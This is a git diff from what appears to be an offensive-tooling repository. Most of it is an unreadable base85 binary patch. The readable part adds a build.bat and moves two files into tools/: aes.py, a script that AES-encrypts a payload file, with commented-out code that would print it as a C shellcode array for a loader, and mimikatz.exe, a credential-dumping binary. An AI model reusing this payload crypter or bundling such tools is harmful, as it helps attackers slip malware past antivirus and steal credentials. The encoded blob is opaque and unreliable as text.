zZW^^r|IlGbLRe_{onU0^F*lTKjV*k2A^)}lv-ku&3~L#G6CbjU@z{#kTNQC)-qEmn z$MzLqAm&lJKXKpu-m+aST7sNfm+#NWJ=rmzSo#9~<#GI#V-S`~OaEhp!%xM5qj_GD zyqa%m69ohxEhZsx`00#?i%x|Ysp$irbBDZmu>CV;58io(nJe<(=O8uB$L@x@xVz6E z6KnLXO$b%1_M!$YhRKmib&KWssR|FbV)6~hUx2$EI9gYVbZwyH^b~^LCXg3d$5=|# zPl-Bn+*h;mP-}nhy(KFvK6+`wIWfLeEBCH{Kl=CGGbyF`bXna*{2~1Tw8d$!o5yPHNIbs9(3TrL z6Mm{(Qy_r#8{9X2FyA2qzW9D$ysd~kIm?T!K6Y!lDVN#_pm+Lw+O}+VeyNi+z+n>g zmO#>?ZRdKdiPNkuPWN)#rEM#6R$b(H-eGU}|I_&Rm-G3*Vq3eYa)*ZO7%gnJ;7HxG zVjdcua-LpKA|dS3UnL!6C!<1cMgcdn76#l%qoBx`#HFDNldmhnX#7p=#uX`MyD6nH>@E#U;%pVO*aKZHq>}Pr}bQ) z(~?%o@v3yNVRu|05_m)_;>8+nQ>~oSeQN0tkw^F%%O#^pVPAtcl z4cs=Dno1BXSq(0w?kjfo+O2v+Kf7(&Q<-;W;J=f;G5**~^~v+1cb2$hoHqgeSE-5+ zcNi*!{YR{b^9JQ&($MwqX_Z0dX>mSS#Km(NyB40V49S^tJ|i!z#i}3gHcPU*RpQ@K zYqZK%Hqml{aTmQf+mj=?)u76GH^$6JZ0 zhE&cU1V6DWW=baL&5drlhSt(r&+1sxoiV=v7}5S-V5^R(|4=sC@S(0VRD{itS#MGW z0V7JeX)W%tw~Zk5y7PN%nbnNaX*I)#a_>>ehy;A#(;t=Pb-b@PUm?0ps?t z^Vij0x8ub7f9xX#JY-q4^Nq61-UCf*l`kQyxzKrA7PNn2s>5(i`gIk-eOCEEKL`tY zX)#3KoGov#ISF^xgFlsT${Ac~MOR@B8GZPabDx(I)P_yC6b7Ns(@jCX}hwbk?ne$J`ArK){(GE~J6Xafj5L zU;aJ~S}o+94M7(994GX-@}k@!3aKTr0CnIq@bJW|n%cr@5M5!7=83-KIKgYBkv4 zr;OXifPk92KjhK_*Ot^G_kJy=V8;cGxC>U#o3RbXDS|NXp_C?o`paKMD_ zPkEDy#``3T-wYb;Ri>-&kjKOBhNklUrhksP8>;_AUl!Kt&$t^bN;py03LE*`pW|eM zsS;q%AT5K&}QL$j!P(UtjvmN)`yt>(OkHTE?Al9#iQ zbY<_+6XVHE2=2oi$E$moJ6G)QA^vJZc4Z!s5A=$5`@sN<1DZ$nH^s4f7pG%3c>q~R zk6bjR)5gkRE^}uk$2#jzKdI!e-6q-5$f7HDVGU}@k5s(ZImR2gWB5k7h?I3!7+0(3 z7Z+ACThBjFfpeUKF&USEEyWk_m^=v}@KX)nUGj&XTBSyevf;X4LD7D<6R3{ZTrhuFaLsZ+u!JJ<4-& z^^>Gv0B4J7DzhR^Eti#EE=DyZUyZMeZafaau?rfW3*?v-2Kq~iY9M*#R1MEV@Qu+F zRAYSf9_uD%*Sgg^sOE7kiN9Y8BcB(m?=NBye&d>u68p{^d*0mt+34c%Q?Z#RDoW_C zt(G*Hl;dtgo-JGBT}5_+Po?S^z|268UU=(NJ@yN-gAoMvJtXCg{ZQBdfY$A6v;3lm zUl$@9Luryb#gMOijt*Y1Z1l*Xzy#gJ7XRy|U+A=GY zIg-ktyqPm-5Y_LUa`(d2r%aK;9@I~L4d>ogh)K zz8~CCe@$4;y}rE*o0&7oX_S9%-WI?=ymE_d?0aG2U^X>+fT<0&JBOG}9JwgCJ=-w_ zrFEe_<8HokV@wWwz{7fOeUkBJK8~4$*uiq28wK9uiBDgsubNZM=^wbj2;IgAx7~8J zGOBSOiNTDA4ZMtQ$Qvj9-CcWhRj&GtV_)=J?KtzVK$nptS`b*_IB74fBbH{nm*=Ee zBCg}|i2UG4UPXly%*J($n0rAUkXG5fF;${P7%*URl;ODbLR(_A*P#GIf9=|rsV4V> zyoLxtz1t9m2yIF8>7uHP{zBYE(;GoMo$3&E8HGRE*l0IDqMz_;v+p1@!31#@1AqJ; zwC-X*<(FnoW|rPWGU}Pkd~SH*XX^(ihilI+F9DcJ)9P9}`?epR0{wuLMqahbFz@aM zj4}+vxkZcC@&VIySd+TT&&OlTBZBPD-$s#?`Gka)m}O^?CR{oo1aI;T-U|IY$P1|MRCzuP1nO0_q>1r|%bG8N z0ZOIRRSh33AP97^@T>1LHALV7x-v&Go?R^}*}biHFu3>HUcNdtMC*q(wj~pRzi$}4)~8eEsib2y4>k3ze@im+dpVf zoI1!0VK0p~{gh3H22yYU&xSONC2ykv`wpVJ~|1yLn190&n!KYj{CMQx4^CMc9q#F4$Z+RtxWy9^#W7C_f4 z$UhQ)3Y#?=wAKrzsw?q|AZi(Z%8?1SzjR!;O)racX5vq5yEK@0!?@BrB7h=3Fc{{% zJOZ%?0Q;*5CVz?sOi#nJyC$BNY&(c=b3@!%{Y=?g`FAb29%J@M=9{EX=Lc=7goShU z)o%uo9OVE){Jn7g`d!zNu<=O4EVSUGG6^`a?H2$5&~B~y`~>^a(m7-2IpY(_amukA zH-6tpfdt;~;&^3=3AwgW%(S`i{f{G}HfmCy59C91@%hlI@tQm;qcY%8qj|`(rbEV` zup0eG;a1*ym}r_`ca^R~ZYJ&P2O^XUvA%HvTD?`I9Pi_R2{ThbOTOxaS~1 zWBeF>sDz2hZR#Xd%_+GKFr$NT6rK%|pmz_uIRka4w<*@dAZtYLiMY0Ybqz=8tuqE2 zAp(xedrGh`Z<#f5ihcZIS<(#CD#L{sFJ(}U(*?ezb-QmnyV1-TN0R#1FLOH9-OM|- z@GMP@`d;!q#-pHOV{rkxU9Yb`L0S#V?>VNIycea(=(oD_cQS+93+UY(Km>h62;#<- z4MO*bip%h_`=VNQ2CCNSz>#9M6_CC1dB8MP62O9q^OMKAH;&2xebHcl&&DJaMj2|e zTgMI59+_SFOF&#_>388W#cOZLEdyC(+HHqT-~h9Y`0Hn5L~tX)tmjDDIjiK`Mb}|7 zx-*i%jSPg7`_AfeziXd6amP|>58OlHQrnnyPB5j?XkEST^H@y=Y*7G z0h40Z?Y=&pB4>#wU(s$z*p;oC_uB`WHP}T)8pfj*kVIMX=)Q4{kAXRC$E~G^ueK_ z4hC=Vd$Oz`?oy6gm%J(3{UR@=+;TKyWE*3_o~4JP9YML!Xd3L%eVob5LGG)kz|)gP zB68ff>|1y8BxC?=qF(}p;hlHbti?GX$)M!*`lUQf+GmW>2F=GFv_Nc{Y z4^C+=E=_nUXEKQ8u3QSAfN0TW^44w82eRyxx7Tbkb{{_U(YRX_cq;qzm`@9JpPC7r z5O>b~`Csk7+I+eED5mj^#yUKXvplI1$CKXpe1uxt}-$+xWPG7Tum&xI9`=-Qy^WQ?mX1I6^Z_80m~_2Y;L;A`()pF^d9KhWng5g^yzocvH=N(J!&*$6IH3C{4Gewt2a~uP%-yOD8*io#>+*S7$(4Y&Zc(eCWftS}Ge1Y0=+UCh7 z%4_vagFmmHV+cGy-FjWB!GsXP4uZ9H48j$+zky6X&!Ort^9%L2!o;g)1nI%*i=^LrfD}d!!brc_IZ``hSXAcK^oWTzPM9vNGFu zk9Eyoy!o^oH;?+jtfqU|&X0LXtBt{tI3I0gc6K0I$MMd)awqv_)|GLm=gN;G{>yMI z2oFxlZr4V8fSkIj;*Sv+qyCL6qLHjwyKoRO7dY}zkCUfNeNszYFCfoukG>?jP&lVT&tZ?x?^=r17K}+sbL`ARdu4+QJmh{m^VDgdD$d12&CpqXH-!W#@jyK z@G3DvQrg0*`_A1Kq&4&OTN@cNT%}lEY>_B?vaje}RE73#S#n4Z?g2BZ$%LGx#_^0q zIX@6R3|p;>fe*Xqg9UfSWR1!lDR(0?818x9r0A_ zxa{v3pj+rzc#W{djDb>8KP{omYj zFO<1OmT11E2ye&evc+^ou29GZ>Ku7hKes2x`1o#_XuuPk?V_q?`IxmkhTS9q2iwlH zxNTyzzs3$Z5N0OlL^e};)Z0ew1|nApG{{wv2IcK&FzXce{i0J%@L_+B;B8_z+yr$s z<~-cZ>X6qlb(YD&bwG5np247{7$HJ(*>&Z(tXWd@L|;Zbbs@_{yX9N-$N&Wz5@T3Y zhJO#^k#$w>P(e`YS6M>caHE&}_XwK|h(xVgjb27g_^cdY0BE2RRj>BW#Wmz}`zuaNry*UZB6Dy>a^dlx!y6YZOUK5=nZ9Ql;=Qzb2<5TX}#64A>!AIB9e!@Q6 z2BJD{5MP5;KGla06!aX!mCWU4i;AZD%Vv*ZKJj$ed$~Yb%Ln!F1=BeMUty-`q!yX~cIe8j!q z-^-)Fb+CWT4Q0K#e&l(F+A)UB(4@Ya;>3^`i~fKlDj(A%e3kj?w~djaF^pGcFd^|~ogXJ=s-IN9$3G;I z?UhMxe&s*fXj)GgHv5Kz4b})PdG*nB%Dy)}8Ls;`Qj4q0b^Qgef^qG?9>}KI*kp=2 zs&l6Y2(DA;bx!gz%+6=Lsg2Ed#SMcm(bSGm+C>u1$I=XmG<3I285wtF)=*qwOk;pG z<%8VEz^h$#YE=;L^C66Gi=!-qsG6)8O%MJ?EV@iIAC=F%v3>ADRlsq7K@loW!tWb1 zYwbhrG}G0d=&L*YhQJ+yvi-G(`&OFw#pR9K6Y78#6O=I^4L}|4d#=_gk$D&A%b2M|Fyt#&swYi_wGx6$1uqn~qv^Cz0_+pUxY}@&|f)ZuW_AxZ6Kps^tP6`I0uL>w@yll6hcIQY%gMce{&v6g1 z!;`Yopy-STgv0lBYtcUIbQ{JD;tk;J-9?`Q7s&GJl0pOH1-B>ZVEgB2oTz+5IHFT= zh7!Zw`V0nN6^R}gGk?sH7q8*4Lk|pygzQRO_mJ23z5)&vIV^M2CeD!>LJ|r7SzzEB zs26hvr%#sEEps{8^`>%b_?7u<&51lngI838jo-_S)P1T@-e5RB@zaCjgqg-v{@omB$OKhM=OeqP`i>(GBFb!p^lIdLXh6N*mMJqd=2ITrZvK9{S? z80s5y8yfPU=Qp^qri$FIRyjMNYuk>oNJC~l(cY+mU|B15yeh{%Q)KJiS$htb3T}0& zYqVwkG_U@YI`~8%NI}a^o+xM=(jImevC~d;SEMjL*Y_kwqiZ2_KW#PLc@-t;mtMy|(_H{PuJ8FP$fVnM!)^7@3lr`=`#{H$@& zcuk%n@!sbrl{?uYBT!c`CJNqg@@8_WONPR-zvL^C%I*>D zI9dL=$^?rgeAy9j6d`hv8~F3Xc9qNz?ZcYw-$uN95T`?b#TqckTBY*E1Z37?&y14S z?pQAQ=%9CWaIHxG|!*}kTQ|8b4lb84(OS*qhDLwdK-ZGVO^ncY0HD0iZ zWw{u$kPGP>XuwY@dF8E>=j|%Bkf#3<^UfKY5FKDJ0%{z=hj!YCnAb}pqnpzXx4^vC z>G=WKjJG?%X}y$~7E3kFo%fz%bZ}A!=J+>M<_R2o)wD= z!ayWx`l)aYw+{V$UFK8QeLePhP1Fd*+Z|D{d*b|a`8K$|u;yr6UqlP!6Sdx-7$t<%>~^lXiaMft4dQq zfSf{C`B?G^WrArz$(F5IHXe08Grh89JNRL6jLfiowSnzZ?2(aX{=@He44p za)a+CP{?uX7z+7?X>WJ@Dw_5R)IF54NfqECJfTU6xHo(;w-^YyA#*I#Q_+6>NB_3% zczoiFm^<-ZimmkkRIx1-QVq_S?!b|H2yVNMRT5dd0-|r~oE9r9oh(3zaiN1_27wpP zXExJ~@L%I!hm1H>oPp7%q-bd1y^6$zr$LQb?oL{qG+VxX29q><$?HK{h_gWj0oL=^ z%d0VZT5;%2sl|!Z*_+qT*}w>qUD1hx$)mh1`~F)t-jq9gi$~2SG7?U8&CsZ?a@%a^ z^uR8rrd4_Ig>9VTEI|nI3Og;bSvjQbX(qO?^7Uo}Wk4r}Y6H|SVH3{%MOE{EHYjcc zy{z;0@YkN|bgm9~n%;aMVMP}r9obX99_d|GL9{amCYa~PO|Kam*=;;_X$)WHF z;YuFQsXAIZ6OhTc1#ff%oEN!hgu|9+^y(hR`%R!5nY|kxHDNRu{P;-8EaC7#fpX!+ zhsow5FupoM(Njxhh>|sX$(M1?_#~mt*(L+8i{Bf78`J&_iGIT)U+#Tnn6TJnhLW1%RuL|~$-_LX4c#drbq3(Xt|Mj-vsKrtx#QvyQ@;=)cF zvk;1YMo+4Cv|&+f8uXz4j~5H_2%i-ul@LgFgCbAhNdHgQ+L_NNrhKFxM)6oFq%#i> z{fQgjb~(hl(ql~5b9o4>`e$Gz@zLcx@+a4tvb?Hc!@#ErCeBZ#xkjK0Phz&v({jI=n(*eIOi0^dT2oXQeiwCM-_FzVv_&f_cL zW54K<-3&*16C%mchV?vGrd#HNi=eDUZA1Gvy%)~z+S*p-oeQVVsB!DE`6fCgkjEJW zq_+;G&YuTPxi9Dl^Ge{EkB{wJh(Kmwx}n#QQzS!C3RVFTYNjybi5lzUFzYiXJa()u zc)XQ&%)|*{V*~1xC?l7=vTmGx#x+x+SMQ;Z{W|ae^2-=H@a!z5;OMGE!KQxLUK!iJ$&BkJr|xwu1W)!Edly&=`zT?nGlmYi1gJ&wwPr-}5x0#GoJ$)<})6I)w~ zTKyWT>dMATr12p@wroL1Eg{qr&pNwD`;CUD*HJb9YqpSmb!S>k%{yHaJsS^vw6Xeo zF1!s?la8#%fO|cY6y>`GD&exM?&a9%YMyvNvLdF1gjW(=*Y;bfR}60*DA4tI5C-Bk zZ=nbEnD35oH#13ZW=jZxYE0o9Wd=Rk;J>tPlN!uKh1NGcnbR?bW;PY%Nh#{le@}au zBP@p+cnDSb172buxqYEUA`iMK5w>yin>w|m_~4nvRH=ZyFpOAOsWN|&m=FqVl6V22 zCbwF+C0HVW-u-w2DGkJRd@>mncFCW5^GNL{rE8uBQod5YJ5ml6B~YQqAR(>LyGkON z9R>ZVX1wSu)tt-%*G$sz)9HY2+}&_4;wLA0IS8-F%oR*yi8x_ zJ`(^z1|-)Wf7;92S)>ZW$^PVyK=0*rba#UKj>nJ{*Hpc6el%!FA`P*r0dklXAWLhr zea1fnJqihlQx729aym`dXIA#tnn&RY#+5Un?oXtZIM4Q&aDH2G(OqFopDr))d-dH= znRKtza_4ouWO*0|y^d>oX0`1ymFS8=P%#K7{MII;kzX^Eh>21lwLD~nVB{o)85$7?D{3F{Bub^Una`5B2KqIA*Y+l zB2B|Jg>Y-LW#)ii2pA}ZVCaad5q%5_sDsrwW~jE3GGZ;mE9@4I^e?3MSWL3DC7RzK zmd}nGL*5gtYbUk0ex4&ITyZ|QR)nl&e4B5r3i({_xt=?SCf&u*DY-YJo=}Su3Bt7E z#F5+b(s8NH*T`B?=H;G{<3%KAUT5$?wxWrb=nL7WWVH!fn>8f3>Kr}Va4(lPaEmlp zBS7g;khjPsrk%lFgELXr?d>KpB6g}Yx!mGFA|eoF=!(ZTHr4iah#>!5$Lr8)+!u1| z!Rg^LMeyu0P^NV^e#fOkpGtAbTJ6932M(YD{MnR|PXp;7jfveA+>OB0^=yH9`eE{r zZv-B)ne%rDzuM>ksh-VKF8%A;c^j#(Sn5tpZRT-&uu+;>RkoJ_{w}1dflUn&CJbo< z8Fv}rTP2TPWu_!!2s{^(pD!a_duk(fr=r#%21AV#Y~*~G8nx1j0O%CWO|}$`Ce#@M zeHIr>;;r0}zi3X!o%GnR0h&9=Z3}&P!tJOKTL@zuP*HKP17&$vP0h1AS25CzkYjqT zJjL^cBB;W|rvAM6++aLy))mtw$kw$hL6V%5GUJtWQ7$yu zdkb@;bxtmuM32ADqH>zw0TGFCcV>dTE;@iMYL;rT(%s$5&{&<+hF9lNQ{9p${`wWa zVRfLbP0O)}N6Cj(RHWh%KuLJF+LG4zhX&1`k4THzc+JntzJIPeiOnyAT6)3nm$!+U zNv1ZLgIB>ONp!{@sdnUM6tvmac@`3k2agXG+fbzqK93n)B`>Y!iN7|q`y;C?MXOla zmq|PhO1H(ZGJnoZL`^|f&0)=Pgq_`=2lsaOkdg5gbE5Ce!$k!Pu+)`~)!EjW`P}** zW37(q(S8oZC~U##+2oztRij^=+4*%2bp`A247& zI@<$XNf;S7_3gicN4o)0LI^4pPU!v_dYylW>oJVG+lCmmNNEesCFQDmhsW1>4NK0% zZu4lgKScgj(h4E56<;ws--t-CS1$f`4wou(d1aFfLRUvI5*?O(vq6pfNOZ+gVeRgT zZ8H6%l8b-m7;b6H@GEG`stPIh$jd8`r`7sSO0Sk-Ekr6RlROYRzbN^=R5%QHV1?7~ zDy5}56SeHv?-gL9CTjng+`s3AbD-u()QG(q4qbXav-AoccZEYT9naebYXIxJS`e+k z+7IJeGRdE2zR71YK4!<7zh1)_pd64dd~}}CqOf6b1bmS09=?ZUJXR$n{Z;@&@#4fJ ze-W9q_dRCU%CccnCqCn*yC`~%H=0@p{ScW>F?5gdljg@{tBGh#r>7+sTfzgk@*nkt z^crnZ#oCpi2$iP+s=sxkHE}rh`e-8%V!k>e$e)V+O=dmy$fsI-@PXHshRtQA`UL@z z{#3r|)dA-VNg<4Ox%H4BA^@zhuk=So;T#6mb^ZdXEpaHwklhxHr^3 z98qt1=yhEGh$V&hxFi9S$Qwu%MR7Aw*tBHH&}v#AC_aWYL!y#E(RpEgSfHnyC~UMN zuc&=mmq^$vAL!XwGTz=48pas&D(z;y-d&@`IoCj{JvwA7LhY*vPmT|%fo@@KX6EwY zrfMp0WdNWl&|BZ7cAtOZIUqvJ#L7t8joH3@L{+8BR%5>-jlE7#Yiw3uS9LOv363ZIC=@t+g4yF-b!fa@m7%X#WI4XvB+#=P-66;ooqrOGuuJAgLZuGP3o8>=Pwy{lRA^Utxb zU3{OcxH2B3yT$4pt9-f2ydk)x;fgg%Pn;Xqb|3DA9D0K`(Glu`Q06X3r>T|tU$>Gz$rRD zRJ{0dP*Wl58kIzV!h2if$J)}2j>!ly0r+G_YBus!}CFM<3r6{wKSJ>U^`Us=tckATIrvJd-%Yw!D&ez_=B@3apc zQ^ugksaRq=+(nvl0Z(UvrxT-|H4u0ZuRRGNlTdT*6ldtrgOfz1NjJAHQ zE-l@(Q1w{+z?ID@S*0c_)}t|aqkZBmVdVPiVzn5M#hK(4jNbNrq|TXIzSb=KG}5wkOL$cR@_)=Hmnc3PlxZ?DSrHryk?o0}oI zIE9OhCiWh|I`(-l zO-XQneN#l{ij5=jJUYEW-UaIPg!qwiF@#pf{Mv!enmO57$!6)LeZ*I}yo$rEQ^zdU zy6ZIFn4cv?Bq@B}yILY$>CT^iLp?+WSRk-{@z92D<$Ds!K62pNne+&BWaxGGPa)zu zP7A(L-!(f{5^0#Wm6<*iCa68jpoABh3z3w%F7fz;<=bG%y}-5*ub(OVD@nXFMq4nc z=TdP%E>aluy2CK~(!&@->bf z_CR*BO`|4ov#4K#J8Q!Z%!+@?{3<}B&9%%QOFC-v^^lA!?8D;cRzv z0LqRKHKIAjJ!@P{K>AB=$=von;!vOh_5_f95q3LS?I<)a1J! zDCA2%2UkL={V3g3oJp^)!hzDv6BQ0MG3P+vs@iQlc*>&1IB*wiyPVzSH20DCqspBS za6P@R{nx22&vft?3iQnP1V+uG?TaEtFYTaLSAx6#VsA#nE#f_6g&_z2PIAEG+`=h& z+N92?5Q?c(3PHc>8mWzBiTZx4o|El;e+RJaSa3qL>`!)Kkl}1-n3n^Q?JVR-D(&zh z|Au{a7 zYIAGPI%a1z3&v$51RGJWJq^gbDL2}$Ijk1i7JyVRarQNiQYnu54g+iLXY$=3-h5zR zYg4To^BW{pf6ySX_k2#^Bpfo0>bq&E>>$&b@X!-~!Eh+1GjEDHY&mN|Pl;W9*4Dkk*0 z7?k`5Ra=Jb&99ap-BOV2vv(i{lpu1;tgFT`7g8y^O}_?9?)!TIvm2eHG`o>qYHx>W zXAB!hgqr>M%-Wl@Kx>UQ<7$G@2x$*{Lc22eQjT|U_0>EAtV}1kQ477TvGlTSiQaFF zrchS%1@>`0R$!C_x(C$Tanqu4l$+)_)5s&hth$f#G#@vz4$f?Q(V-29s&6)1OffeZ_ zS)(%DwSFV>oxy9=Hr~(B4=vgppnq89V>|Gq9s2E4{4rQN4e8=_=2j)B3D?k&sIYBk zf#PmqkpvK1eOtJJ`EDiV?oVa7sGXTi`?0;&#L@_Z7~;L`uJY)lF<%-(V;o4puoWQZ z%wlh50dre&-glMu*g<<~1@4QjH zgfxf->aNNNIX-P-oaVkrvZi)*l01Py)0Q`M1nmo0UH*B?I2NPk3KP@mg|xsNU{M@NIFD_dieE zTZswvWyD}0QJmr{LKn%2z)`0R_&+}crTA9bVm}^@8u4FU*V&;TcWJQfq{i%|qupLL z?)B+3#ZNv9oBQqED}pyx3$L{779oO>h&JJLv05jE!)EouCqNw;K#^}>>d7I(Hc%_L zMYG(!IK4$IIlSVs*tmNMHE#a64+NUEn2EnT4@Zy3sPVW;-L?Jc3gg+T=q|%KFU&{! zct5Q22-n&p@Z98?NR;K(e7M5;S{QO9yzM5>SM9DWBoG|K6q;I9QH}UrYTs`4%uG^a$kibj1x?-X8hDU17@1M8gtDmo0SIt)Xr>^fo!rzj9-DVy)Bd}5fa>n6 z!0vGHwQ(ARcSvbZ3&>9xyBUMTh(*HxKT;eAma7d4Aj?!ZWHzFWvTqUn;RsVe}y2CmCo0gyh? zORNF-Ak4zZ#$<+)@~ncv)ONI&P?XHL>3-4;a6-7VM60=>ua$946`}BHPSz4#aryyx zB%8d*7zlyIeYI%W{ zB0qH$^ObT|!uex;SxRkXl{=*R06_0jJozv}9s=-L<&VMpujeZN=Zo?G1ugao;BAqV zS{^`Pl246QyqLVWSit@5RkC3vr(Q`y(fOhJpAmsXdxMsKS5i-^&fFA*FSga;ufdeH zkQX>5tGQoGs-tn1_u248-C`A$%BOcj6?1lq8ODP3rUsO9Jl+~edX~8AeZ%B))l2>D z_zGxUi(puOLRyg?cc3$v*=0_u}lqK@sjLB@DpO0geh3XX*OZG3i^FXDP8nd9bv`Xhs{tv5l ziHfVT>R2tc3F*AJ zCPWI3LcdbF(gtX*DXZMeM_oXdRQ_=B6`|!+#jn01RadF*5?M_}Zj>{avh?P@pziI4 zrEcTnLhXK8?D6x|j;V7?b5Xg03Hx)gFL$njSSb{{-5=r^a)&KMXu*i2U&4lY3 zF7DJKpYVjif6+`DPbnewOC+8h?o0KOyw zz`vz7Ll*6T0LB+IRxir&y?&Aq%9`esWvO3v2bl`8_Epj%J)FiFo%1kXJf5<^$hs@k z@4lTtu2Yi9_0$ZNi@;e_*-_l3SiUZ1-pN{u_*tlSN!ecMS1^wV`5DcH<(riMu8j2e zWrzzE+nW%Iv>nP%xHw&=tVvOvslb7hvx*Ab+_F*{yDTl{j`FCx0|8%$$eAVg^NoW#E_!Q&;fnluvKReS=gY1PF*|KXj3}9n=rl#3IhEZPeZiE>H3szQ~ zQF#K=OPF|I-7VU^h{+q6_@(`~uq|h>0x)D~jnz}x=_70-%ok?o*4<$53FLw@>Ho*x?SFP{->lq+cP~lY zeP_DX_?z-SsW-s$>-)et?0&lCme)>Hl~wHm zla{n(kI)_QzwT#(Gx`2gPyfH&w)VaX_un1*TVBB%(RKfCtl#o~qkpo)^uKeWq@Mr# za}0Ek5krFgYTzb}TT34L^K@@(D+6BtDapKk;k>8^Q+`{B-`c7;Wfi35JZI{yO=^9f za{F5IkNP$rF}Qcvod5a4IAFI8Xh=bf_QKd7TQ8d&*r~szde1yRj+Oh)m5Md3x0C1w zE;rcT67-!Vcja;C-HHv`v+94pzxMx^IWr{59{*akF!sCe?tSNenxD5)+%T&xbm@XM zrc=1yu5XX`&U+Xc32ZBG-KZsbeEt4*a87+73T*X!|7KSAT5qr2wVCnN`5EG;TDDC; zx838nx_SBfqT~S6JIZnQS;PL8wtmpmpZ(7&)4MvVrFzNV`(?GOZY*0EZ@A#}@0skg zqknBRu>+;3n)#8yW?p8v7P!S+V~>{U(JO8A@*dVcK&$i50Nwci&+>W!$f+ctdi4MQ z|BjH#!ya-N4gGx_4Fw5$y85}Sb4q9e04dG* A*8l(j literal 0 HcmV?d00001 diff --git a/build.bat b/build.bat new file mode 100644 index 0000000..6f850b5 --- /dev/null +++ b/build.bat @@ -0,0 +1,6 @@ +del "./build" /s /q +mkdir "./build" +echo "../build.bat" > "./build/build.bat" +cd "./build" +cmake .. +cd "../" diff --git a/aes.py b/tools/aes.py similarity index 96% rename from aes.py rename to tools/aes.py index 7805c6a..eb470bc 100644 --- a/aes.py +++ b/tools/aes.py @@ -1,36 +1,35 @@ -import sys -from Crypto.Cipher import AES -from Crypto.Util.Padding import pad -from os import urandom -import hashlib - -def AESencrypt(plaintext, key): - k = hashlib.sha256(KEY).digest() - iv = 16 * b'\x00' - plaintext = pad(plaintext, AES.block_size) - cipher = AES.new(k, AES.MODE_CBC, iv) - ciphertext = cipher.encrypt(plaintext) - return ciphertext,key - -def dropFile(key, ciphertext): - with open("cipher.bin", "wb") as fc: - fc.write(ciphertext) - with open("key.bin", "wb") as fk: - fk.write(key) - #print('char AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };') - #print('unsigned char AESshellcode[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };') - - -try: - file = open(sys.argv[1], "rb") - content = file.read() -except: - print("Usage: .\AES_cryptor.py PAYLOAD_FILE") - sys.exit() - - -KEY = urandom(16) -ciphertext, key = AESencrypt(content, KEY) - -dropFile(KEY,ciphertext) - +import sys +from Crypto.Cipher import AES +from Crypto.Util.Padding import pad +from os import urandom +import hashlib + +def AESencrypt(plaintext, key): + k = hashlib.sha256(KEY).digest() + iv = 16 * b'\x00' + plaintext = pad(plaintext, AES.block_size) + cipher = AES.new(k, AES.MODE_CBC, iv) + ciphertext = cipher.encrypt(plaintext) + return ciphertext,key + +def dropFile(key, ciphertext): + with open("cipher.bin", "wb") as fc: + fc.write(ciphertext) + with open("key.bin", "wb") as fk: + fk.write(key) + #print('char AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };') + #print('unsigned char AESshellcode[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };') + + +try: + file = open(sys.argv[1], "rb") + content = file.read() +except: + print("Usage: .\AES_cryptor.py PAYLOAD_FILE") + sys.exit() + + +KEY = urandom(16) +ciphertext, key = AESencrypt(content, KEY) + +dropFile(KEY,ciphertext) diff --git a/mimikatz.exe b/tools/mimikatz.exe similarity index 100% rename from mimikatz.exe rename to tools/mimikatz.exe